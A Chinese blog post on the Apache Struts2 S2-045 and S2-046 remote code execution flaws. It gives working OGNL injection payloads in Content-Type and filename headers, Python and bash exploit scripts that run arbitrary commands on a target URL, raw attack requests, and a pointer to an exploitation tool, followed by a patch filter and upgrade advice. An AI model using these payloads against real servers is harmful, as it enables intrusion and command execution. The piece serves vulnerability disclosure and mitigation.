简单的生活,更少的期待,更多的付出。

关于 struts s2-045和s2-046漏洞

漏洞简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。国内外都有大量厂商使用该框架。

Struts 2中此次存在远程代码执行漏洞(RCE),主要是处理复杂数据类型时的默认解析,例文件上传,Jakarta Multipart parser,异常处理不当,进入buildErrorMessage触发点,导致OGNL代码执行。s2-045中发现是Content-Type出现异常处理不当。s2-046中发现Content-Disposition的filename存在空字节时,或者是当使用JakartaStreamMultiPartRequest(<constant name="struts.multipart.parser" value="jakarta-stream" />)时,Content-Length 的长度值超长。

影响版本

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞自测触发POC (来源网络)

UDPATE: 2018-06-23 change “{ #” to “ '{#' “ for hexo or {#

攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。

查看struts 2.3.15.1版本
filter中对request进行wrap
(PrepareOperations_warprequest
Dispatcher判断content-type是否包含multipart/form-data
MultiPartRequestWrapper构造方法中调用paser
进入buildErrorMessage执行ognl

S2-045 PoC_1

Content-Type: haha~multipart/form-data %{&#35;[email protected]@DEFAULT_MEMBER_ACCESS,@[email protected]().exec('calc')};

S2-045 PoC_2

1
#! /usr/bin/env python
2
# encoding:utf-8
3
import urllib2
4
import sys
5
from poster.encode import multipart_encode
6
from poster.streaminghttp import register_openers
7
def poc():
8
    register_openers()
9
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
10
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
11
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
12
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
13
    response = urllib2.urlopen(request)
14
    print response.read()
15
poc()

S2-046 PoC_1

在Struts 2.3.20以上的版本中,Struts2才提供了可选择的通过Streams实现Jakarta组件解析的方式。
触发条件,使用非默认解析jakarta-stream。例在strust.xml中有加入<constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
上传文件的大小(由Content-Length头指定)大于Struts2默认允许的最大大小(2M)。

触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。

1
private void processUpload(HttpServletRequest request, String saveDir)
2
        throws Exception {
3
    // Sanity check that the request is a multi-part/form-data request.
4
    if (ServletFileUpload.isMultipartContent(request)) {
5
        // Sanity check on request size.
6
        boolean requestSizePermitted = isRequestSizePermitted(request);
7
        // Interface with Commons FileUpload API
8
        // Using the Streaming API
9
        ServletFileUpload servletFileUpload = new ServletFileUpload();
10
        FileItemIterator i = servletFileUpload.getItemIterator(request);
11
        // Iterate the file items
12
        while (i.hasNext()) {
13
            try {
14
                FileItemStream itemStream = i.next();
15
                // If the file item stream is a form field, delegate to the
16
                // field item stream handler
17
                if (itemStream.isFormField()) {
18
                    processFileItemStreamAsFormField(itemStream);
19
                }
20
                // Delegate the file item stream for a file field to the
21
                // file item stream handler, but delegation is skipped
22
                // if the requestSizePermitted check failed based on the
23
                // complete content-size of the request.
24
                else {
25
                    // prevent processing file field item if request size not allowed.
26
                    // also warn user in the logs.
27
                    if (!requestSizePermitted) {
28
                        addFileSkippedError(itemStream.getName(), request);
29
                        LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
30
                        continue;
31
                    }
32
                    processFileItemStreamAsFileField(itemStream, saveDir);
33
                }
34
            } catch (IOException e) {
35
                e.printStackTrace();
36
            }
37
        }
38
    }
39
}

触发点

1
LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);

原文

burp修改大小发送请求失败时候,可以试着去掉菜单栏Repeater-->Update Content-Length的勾选,然后进行实验,这样修改的大小不会在被burp修改。

1
POST /doUpload.action HTTP/1.1
2
Host: localhost:8080
3
Content-Length: 10000000
4
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
5
Connection: close
6
 
7
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
8
Content-Disposition: form-data; name="upload"; filename="%{&#35;context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
9
Content-Type: text/plain
10
Kaboom 
11
 
12
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
1
#!/usr/bin env python
2
import socket
3
host="xxxxx"
4
se=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
5
se.connect((host,80))
6
se.send("GET / HTTP/1.1\n")
7
se.send("User-Agent:curl/7.29.0\n")
8
se.send("Host:"+host+"\n")
9
se.send("Accept:*/*\n")
10
se.send("Content-Type:multipart/form-data; boundary=---------------------------735323031399963166993862150\n")
11
se.send("Connection:close\n")
12
se.send("Content-Length:1000000000\n")
13
se.send("\n\n")
14
se.send("-----------------------------735323031399963166993862150\n")
15
se.send('Content-Disposition: form-data; name="foo"; filename="%{&#35;context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Test\',\'Kaboom\')}"\n')
16
se.send("Content-Type: text/plain\n\n")
17
se.send("x\n")
18
se.send("-----------------------------735323031399963166993862150--\n\n")
19
while True:
20
  buf = se.recv(1024)
21
  if not len(buf):
22
    break
23
  print buf

原文

S2-046 PoC_2

header中的Content-Disposition中包含空字节。
文件名内容构造恶意的OGNL内容。

JakartaMultiPartRequest中的processUpload
processFileField中处理各个header头
DiskFileItem的getName会处理NULL字符串
调用Streams中的checkFileName检查NULL字符串

1
    
2
#!/bin/bash
3
 
4
url=$1
5
cmd=$2
6
shift
7
shift
8
 
9
boundary="---------------------------735323031399963166993862150"
10
content_type="multipart/form-data; boundary=$boundary"
11
payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}")
12
 
13
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- [email protected]

验证截图

验证截图

360安全客
当\0b不可当成检测字符,\0b可以被替换成\0000,\0a - \0z 等等。所以,最好是使用多种情况。
多个空格
多个空格,且里面可以添加\r\n
n个空格

S2-046 PoC_3

S2-046-PoC

Struts2漏洞利用工具

shack2的Struts2漏洞利用工具
PS:大神该工具暂不支持https

修复建议

严格过滤

严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。

实际上,我们只需在struts的filter之前,添加上自己的filter,提前触发Content-Type 、filename的相关验证就行了。

添加filter示例
Struts2Filter.java:

1
package com.strutsfilter;
2
3
import java.io.BufferedReader;
4
import java.io.IOException;
5
import java.io.InputStream;
6
import java.io.InputStreamReader;
7
import java.io.PrintWriter;
8
import java.util.Locale;
9
import java.util.regex.Matcher;
10
import java.util.regex.Pattern;
11
12
import javax.servlet.FilterChain;
13
import javax.servlet.ServletContext;
14
import javax.servlet.ServletException;
15
import javax.servlet.ServletRequest;
16
import javax.servlet.ServletResponse;
17
18
import org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter;
19
20
public class Struts2Filter extends StrutsPrepareAndExecuteFilter {
21
    @Override
22
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
23
            throws IOException, ServletException {
24
        String contentType = null;
25
        int contentLength = request.getContentLength();
26
        ServletContext sctx = request.getServletContext();
27
        String params = sctx.getInitParameter("content-type-param");
28
        if (request.getContentType() != null) {
29
            contentType = request.getContentType().toLowerCase(Locale.ENGLISH);
30
            // 请求大小小于2M,不是文件上传并且是正常请求时,放过
31
            if (params.contains(contentType) && contentLength < 2097152) {
32
                super.doFilter(request, response, chain);
33
            }
34
        }
35
        contentType = contentType.contains(",") ? contentType.split(",")[0].trim() : contentType.split(";")[0].trim(); // 文件上传时过滤掉文件边界
36
        if (contentType != null && contentLength < 2097152000) { // 文件上传并且文件小于2g
37
            if (!Contain_space(request)) { // content-type位于白名单放过并且上传的文件名称当中不包括空字节
38
                super.doFilter(request, response, chain);
39
            } else {
40
                PrintWriter writer = response.getWriter();
41
                writer.write("reject!");
42
                writer.flush();
43
                writer.close();
44
            }
45
        }
46
    }
47
48
    public boolean Contain_space(ServletRequest request) {
49
        try {
50
            InputStream is = request.getInputStream();
51
            BufferedReader read = new BufferedReader(new InputStreamReader(is, "utf-8"));
52
            StringBuilder sb = new StringBuilder();
53
            String tmp = null;
54
            while ((tmp = read.readLine()) != null) {
55
                sb.append(tmp + "\r\n");
56
            }
57
            Pattern pattern = Pattern.compile("filename(.*?)\r\n");
58
            // 从filename一直截取到下一个换行符位置,通过正则表达式过滤出上传的文件名称
59
            Matcher matcher = pattern.matcher(sb.toString().toLowerCase(Locale.ENGLISH)); // 将文件请求内容全部小写
60
            while (matcher.find()) {
61
                String filename = matcher.group();
62
                if (filename.contains("\\0b") || filename.contains(" ") || filename.contains("\\u0000")
63
                        || filename.contains("@ognl")) { // 对文件名称进行过滤,筛选掉含有空字符的上传请求
64
                    return true;
65
                }
66
            }
67
        } catch (IOException e) {
68
            //e.printStackTrace();
69
        }
70
        return false;
71
    }
72
73
}

web.xml配置参考:新增的filter需要在原有struts filter之前

1
<web-app>
2
  <display-name>Struts 2 Web Application</display-name>
3
4
  <filter>
5
    <filter-name>struts2</filter-name>
6
      <filter-class>com.strutsfilter.Struts2Filter</filter-class>
7
  </filter>
8
  <filter-mapping>
9
    <filter-name>struts2</filter-name>
10
    <url-pattern>/*</url-pattern>
11
  </filter-mapping>
12
  
13
  <context-param>
14
    <param-name>content-type-param</param-name>
15
    <param-value>application/octet-stream,application/pdf,application/vnd.android.package-archive,
16
    application/vnd.rn-realmedia-vbr,application/x-bmp,application/x-img,application/x-javascript,
17
    application/x-jpe,application/x-jpg,application/x-png,application/x-shockwave-flash,
18
    application/x-x509-ca-cert,application/x-xls,audio/mp3,image/gif,image/jpeg,image/png,
19
    image/x-icon,image/rfc822,text/css,text/html,text/plain,text/xml,video/mpg,video/mpeg4,video/mpg,
20
    video/x-ms-wmv,application/x-www-form-urlencoded,multipart/form-data</param-value>
21
  </context-param>
22
  
23
</web-app>

正好项目中有spring,调用了spring web的MultipartResolver,对request进行wrap。这步避免了s2-045漏洞。再补上检查filename部分就行了。

1
MultipartResolver resolver = new CommonsMultipartResolver(reqWrapper.getSession().getServletContext());
2
3
MultipartHttpServletRequest multipartRequest = resolver.resolveMultipart(request);
4
    // 这步将调用到common-fileupload.jar的FileUploadBase.java的FileItemIteratorImpl内部类进行下列判断 if ((null == contentType)|| (!contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")))。所以,也可以直接在后续补上这段操作
5
6
//检查s2-046
7
Map<String,MultipartFile> fileMap = multipartRequest.getFileMap();
8
Collection<MultipartFile> col = fileMap.values();
9
Iterator<MultipartFile> itr = col.iterator();
10
MultipartFile file = null;
11
String fileName = null;
12
while(itr.hasNext()){
13
    file = itr.next();
14
    file.getName();   // 这部分实际上调用到的fieldName,不是文件名
15
    fileName = file.getOriginalFilename();
16
    //这步将调用Streams.checkFileName(),检查文件名为NULL字符串的情况。也可以直接使用相关判断,文件名是否包含NULL字符串,OGNL字符
17
}

实际上检查fileName,调用到common-fileupload.jar的Streams.checkFileName(),也是可以的。

改用其他解析

改用pull

升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)

如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)

针对Struts2的升级,可将原应用相关的依赖jar包替换为最新的Struts2包,其中,有三个包是必须要升级的:

  • struts2-core-2.3.32.jar:Struts2核心包,也是此次漏洞发生的所在。
  • xwork-core-2.3.32.jar:Struts2依赖包,版本跟随Struts2一起更新。
  • ognl-3.0.19.jar:用于支持OGNL表达式,为其他包提供依赖。

如果暂时不便升级,官方也已准备了两个可以作为应急使用的Jakarta插件版本,用户可以下载使用,链接地址

补丁地址
Struts 2.3.32
2.3.32补丁修复方案

Struts 2.5.10.1
2.5.10.1补丁修复方案

-------------本文结束感谢您的阅读-------------
谢谢大爷打赏,常来玩啊